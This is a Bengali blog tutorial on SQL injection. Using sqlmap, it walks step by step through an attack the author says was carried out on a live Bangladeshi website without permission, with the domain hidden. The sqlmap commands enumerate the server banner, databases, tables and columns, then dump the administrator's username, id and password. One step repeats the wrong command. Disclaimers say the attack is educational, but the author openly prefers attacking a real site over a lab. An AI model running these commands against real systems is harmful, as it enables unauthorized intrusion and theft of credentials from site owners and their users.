বর্তমান যুগে প্রযুক্তি আমাদের জীবনকে যেমন সহজ করেছে, তেমনি আমাদের ব্যক্তিগত তথ্য ও আর্থিক নিরাপত্তার উপরও নতুন ধরনের হুমকি সৃষ্টি করেছে। ওয়েবসাইট বা অনলাইন অ্যাপ্লিকেশনগুলো প্রতিনিয়ত বিশাল পরিমাণ ব্যবহারকারীর তথ্য সংগ্রহ ও সংরক্ষণ করে। এই তথ্যগুলোর সুরক্ষা নিশ্চিত না হলে সহজেই হ্যাকারদের কবলে পড়তে পারে বহু গোপন তথ্য এবং হতে পারে ভয়ঙ্কর বিপর্যয়। এমনই একটি সাধারণ ও মারাত্মক আক্রমণ পদ্ধতির নাম এসকিউএল ইনজেকশন।
এসকিউএল ইনজেকশন একটি বহু পুরাতন পদ্ধতি অথচ এখনও ব্যাপকভাবে ব্যবহৃত হ্যাকিং টেকনিক, যার মাধ্যমে আক্রমণকারী কোনো ওয়েবসাইটের ডেটাবেসে অবৈধভাবে প্রবেশ করতে পারে। এটি শুধু ব্যক্তিগত তথ্য চুরির মাধ্যম নয়, বরং পুরো ডেটাবেস ধ্বংস করে দেওয়ার মতো ক্ষমতাও রাখে। এই আর্টিকেলে আমরা জানবো এসকিউএল ইনজেকশন দূর্বলতাকে কাজে লাগিয়ে কিভাবে এসকিউএল ম্যাপ টুল ব্যবহার করে ডেটাবেস হ্যাক করা সম্ভব।
এসকিউএল ইনজেকশন কি?
এসকিউএল ইনজেকশন হলো একটি কোড ইনজেকশন টেকনিক, যার মাধ্যমে ম্যালিসিয়াস এসকিউএল কোড ওয়েব অ্যাপ্লিকেশনের ইনপুট ফিল্ডের মাধ্যমে ডেটাবেস সার্ভারে পাঠানো হয়। এই ইনজেক্টেড কোড ডেটাবেসে অবৈধভাবে তথ্য পড়া, লেখা, পরিবর্তন বা মুছে ফেলার কাজ করতে পারে।
সাধারণত একটি ওয়েবসাইটে যখন ব্যবহারকারী লগইন করে, সার্চ দেয় বা কোনো ফর্ম পূরণ করে, তখন ব্যাকএন্ডে এসকিউএল কোয়েরি ব্যবহার করে ডেটাবেস থেকে তথ্য আনা হয়। যদি এই ইনপুটগুলোর যথাযথ যাচাই না করা হয়, তবে আক্রমণকারী তার ইচ্ছা মতো এসকিউএল কোড পাঠিয়ে ডেটাবেসের পূর্ণ নিয়ন্ত্রণ নিতে পারে।
ডেটাবেস হ্যাকিংঃ নিরাপত্তা সচেতনতা ও শিক্ষামূলক উদ্দেশ্য আক্রমণ
এসকিউএল ইনজেকশন এমন এক নিরাপত্তা দুর্বলতা যা অবহেলা করলে যেকোনো ওয়েব অ্যাপ্লিকেশন ভয়ঙ্করভাবে ক্ষতিগ্রস্ত হতে পারে। যদিও এই আক্রমণ প্রতিরোধ করা অত্যন্ত সহজ, তারপরেও অদক্ষ ডেভেলপার তাদের অসচেতনতা বা অলসতার কারণে অনেক ওয়েবসাইট এখনও এই ঝুঁকির মধ্যে রয়েছে। একজন দায়িত্বশীল ডেভেলপার বা সাইবার সিকিউরিটি ইঞ্জিনিয়ার হিসেবে আপনার কর্তব্য হলো কোডিংয়ের সময় সুরক্ষিত প্র্যাকটিস অনুসরণ করা এবং নিয়মিত নিরাপত্তা পর্যালোচনা করা।
এখন আমি এসকিউএল ইনজেকশন দূর্বলতা রয়েছে এমন একটি বাংলাদেশী ওয়েবসাইটকে টার্গেট করে নিচ্ছি। তবে মনে রাখবেন অনৈতিক ভাবে অনুমতি ছাড়া কারো ওয়েবসাইটে ম্যালিসিয়াস কার্যক্রম করা অসম্পূর্ণ ভাবে অবৈধ। আমি কোনো রকম অনৈতিক হ্যাকিং কার্যক্রমকে সমর্থন করতে এই আক্রমণ চালাচ্ছি না। শুধুমাত্র শিক্ষার কারণে আমি এই আক্রমণটি চালাচ্ছি। আমি চাইলে আমার লোকালহোস্টে ল্যাব সেটআপ করে নিতে পারতাম, কিন্তু আপনাদের একটা লাইভ ওয়েবসাইটকে হ্যাক করে দেখানো বেশি ভালো হবে মনে হলো। তবে আমি নিরাপত্তার কথা চিন্তা করে ওয়েবসাইটের নাম গোপন রাখবো।
যেমনটা আমি উপরে বলেছি যে এসকিউএল ম্যাপ দ্বারা আজকের আক্রমণটি করে দেখাবো। তবে ভবিষ্যতে কখনও সময় হলে, অথবা আপনারা চাইলে আমি ম্যানুয়াল এসকিউএল ইনজেকশন কিভাবে করে সেটাও শিখাবো। তো চলুন সর্বপ্রথম ইনস্টল করে নেওয়া যাক এসকিউএল ম্যাপকে।
sqlmapproject / sqlmap এই গিটহাব রিপোজিটরির রিডমিতে খুব সুন্দর ভাবে গুছিয়ে লেখা আছে কিভাবে এই অটোমেটিক এসকিউএল ইনজেকশন টুলটা ইনস্টল করতে হবে। আপনি আপনার সিস্টেম অনুযায়ী ইন্সটল করে নিবেন। যেমন আমি আর্চ লিনাক্স ইউজার। আপনি যদি আর্চ লিনাক্স অথবা আর্চ বেসড ডিস্ট্রিবিউশন ব্যবহার করেন তবে নিচের কমান্ড অনুযায়ী এসকিউএল ম্যাপ ইনস্টল করে নিবেন।
sudo pacman -S sqlmap
আশা করছি সামান্য একটি টুল আপনারা খুব সহজেই ইনস্টল করে নিতে পারবেন আপনাদের সিস্টেম অনুযায়ী। তবুও যদি সমস্যা হয় তবে এই টেলিগ্রাম গ্রুপে জয়েন করে ইরর মেসেজ অথবা স্ক্রিনশট দিবেন। আমি যতোসম্ভব চেষ্টা করবো সহযোগিতা করার। তবে এই গ্রুপে খুব অল্প মানুষকেই জয়েন করানো হবে।
নিচের স্ক্রিনশট দেখুন, আমার সিস্টেমে এসকিউএল অ্যাপটির লেটেস্ট ভার্সন ইনস্টল করা আছে।
এখন আমি একটি বাংলাদেশী ওয়েবসাইটের উপর আক্রমণ করবো, তবে নিরাপত্তার কথা চিন্তা করে আমি ডোমেইন নামটি হাইড করে রাখবো। নিচের কমান্ডটি অনুসরণ করুন।
sqlmap -u "https://target.com.bd/index.php?id=8" --batch --banner
–banner = ডেটাবেজ সার্ভারের ব্যানার
(মাইএসকিউএল, মারিয়াডিবি, এমএসএসকিউএল ইত্যাদি) দেখাবে।
–batch = সব প্রম্পট অটোতে হ্যাঁ ধরে নিয়ে যাবে।
এখন নিচের স্ক্রিনশট দেখুন। ওয়েব অ্যাপ্লিকেশন টেকনোলজি, ডেটাবেস এবং তার ভার্সন দেখাচ্ছে।
এখন চলুন, টার্গেট ডেটাবেস সার্ভারে কতোগুলো ডেটাবেস আছে তা বের করে দেখি। নিচের কমান্ড অনুসরণ করুন।
sqlmap -u "https://target.com.bd/index.php?id=8" --batch --banner --dbs
–banner = ডেটাবেজ সার্ভারের ব্যানার
(মাইএসকিউএল, মারিয়াডিবি, এমএসএসকিউএল ইত্যাদি) দেখাবে।
–batch = সব প্রম্পট অটোতে হ্যাঁ ধরে নিয়ে যাবে।
–dbs = টার্গেট ডেটাবেস সার্ভারে কতোগুলো ডেটাবেস আছে তা বের করে।
এখন নিচের স্ক্রিনশট দেখুন, আমার টার্গেট ওয়েবসাইটে দুইটা ডেটাবেস পাওয়া গিয়েছে। উপরে যেটা আছে, সেটা ওই ওয়েবসাইটের নাম দেওয়া তাই আমি হাইড করে দিচ্ছি নামটা।
এখন আমি দেখবো উপরের ডেটাবেসে কি কি তথ্য পাওয়া যেতে পারে। আপনি আপনার মন মতো অনুসন্ধান করে দেখতে পারেন। আমি যে ডেটাবেস নামটা হাইড করেছি সেটাতে কি কি টেবিল আছে দেখবো সেই জন্য নিচের কমান্ড অনুসরণ করুন।
sqlmap -u "https://target.com.bd/index.php?id=8" --batch --banner -D targetDB --tables
–banner = ডেটাবেজ সার্ভারের ব্যানার
(মাইএসকিউএল, মারিয়াডিবি, এমএসএসকিউএল ইত্যাদি) দেখাবে।
–batch = সব প্রম্পট অটোতে হ্যাঁ ধরে নিয়ে যাবে।
-D = একটা নির্দিষ্ট ডেটাবেসকে টার্গেট করা।
–tables = targetDB ডেটাবেসের সকল টেবিলের নাম বের করা হবে।
এখন নিচের স্ক্রিনশট দেখুন, targetDB তে যে যে টেবিল গুলো ছিলো তা দেখাচ্ছে।
এখন আমি user টেবিলের যতো columns আছে তা দেখতে চাচ্ছি, সেই জন্য নিচের কমান্ড অনুসরণ করুন।
sqlmap -u "https://target.com.bd/index.php?id=8" --batch --banner -D targetDB --tables
–banner = ডেটাবেজ সার্ভারের ব্যানার
(মাইএসকিউএল, মারিয়াডিবি, এমএসএসকিউএল ইত্যাদি) দেখাবে।
–batch = সব প্রম্পট অটোতে হ্যাঁ ধরে নিয়ে যাবে।
-D = একটা নির্দিষ্ট ডেটাবেসকে টার্গেট করা।
-T = একটা নির্দিষ্ট টেবিলকে টার্গেট করা।
–columns = এই অংশ এসকিউএল ম্যাপকে নির্দেশ দেয়, targetTable টেবিলের সকল কলাম বের করতে।
এখন নিচের স্ক্রিনশট দেখুন, আমাদের সামনে user, id, pass নামে তিনটা columns দেখা যাচ্ছে।
আমি এখন এই user,id,pass কে dump করতে চাচ্ছি, সেই জন্য নিচের কমান্ড অনুসরণ করুন।
sqlmap -u "https://target.com.bd/index.php?id=8" --batch --banner -D targetDB -T targetTable -C user,id,pass dump
–banner = ডেটাবেজ সার্ভারের ব্যানার
(মাইএসকিউএল, মারিয়াডিবি, এমএসএসকিউএল ইত্যাদি) দেখাবে।
–batch = সব প্রম্পট অটোতে হ্যাঁ ধরে নিয়ে যাবে।
-D = একটা নির্দিষ্ট ডেটাবেসকে টার্গেট করা।
-T = একটা নির্দিষ্ট টেবিলকে টার্গেট করা।
-C user,id,pass =
এই তিনটি column টার্গেট, শুধু এই গুলোর তথ্য বের করবে।
–dump =
উপরের নির্দিষ্ট column গুলোর ডেটা ডাম্প (extract) করবে।
এখন আপনি নিচের স্ক্রিনশট দেখুন। আমরা টার্গেট ওয়েবসাইটের অ্যাডমিনিস্ট্রেটরের ডেটা হ্যাক করে ফেলেছি। তার ইউজারনেম, আইডি এবং পাসওয়ার্ড আমাদের সামনে চলে এসেছে। এখন আশা করি খুব ভালো মতোই জানেন ডেটা ডাম্প হওয়ার পর হ্যাকার কি করে?
সতর্কতাঃ এই লেখাটি সম্পূর্ণরূপে শিক্ষামূলক উদ্দেশ্যে প্রস্তুত করা হয়েছে। এখানে আলোচিত বিষয়গুলো যেনো কেউ অনৈতিকভাবে বা অবৈধ সাইবার আক্রমণের উদ্দেশ্যে ব্যবহার না করেন। আমি স্পষ্টভাবে জানিয়ে রাখছি, এই আর্টিকেলের কোনো তথ্য যদি কেউ অপব্যবহার করে বা বেআইনিভাবে কোনো সাইবার আক্রমণ চালায়, তাহলে তার জন্য আমি কোনো রকম ভাবেই দায়ী থাকবো না। সকলকে আইন মেনে চলার এবং নৈতিক হ্যাকিং চর্চার আহ্বান জানাচ্ছি।
আপনি যদি সাইবার সিকিউরিটি এবং হ্যাকিং নিয়ে আগ্রহী হয়ে থাকেন অথবা কোনো বিষয়ে সাহায্যের প্রয়োজন হয় তবে এই টেলিগ্রাম গ্রুপে জয়েন রিকুয়েস্ট দিতে পারেন। এইখানে আমি খুব অল্প মানুষের রিকুয়েস্টই গ্রহণ করবো। সবাইকে এড করা নাও হতে হবে নিরাপত্তার ক্ষেত্রে।
আজকের আলোচনা এখানেই ইতি টানছি। সামনে আবার নতুন কোনো বিষয়ের আলোচনায় দেখা হবে। ততোক্ষণ পর্যন্ত নিজের যত্ন নিন, সুস্থ থাকুন, এবং ভেতর থেকে ভালো থাকুন।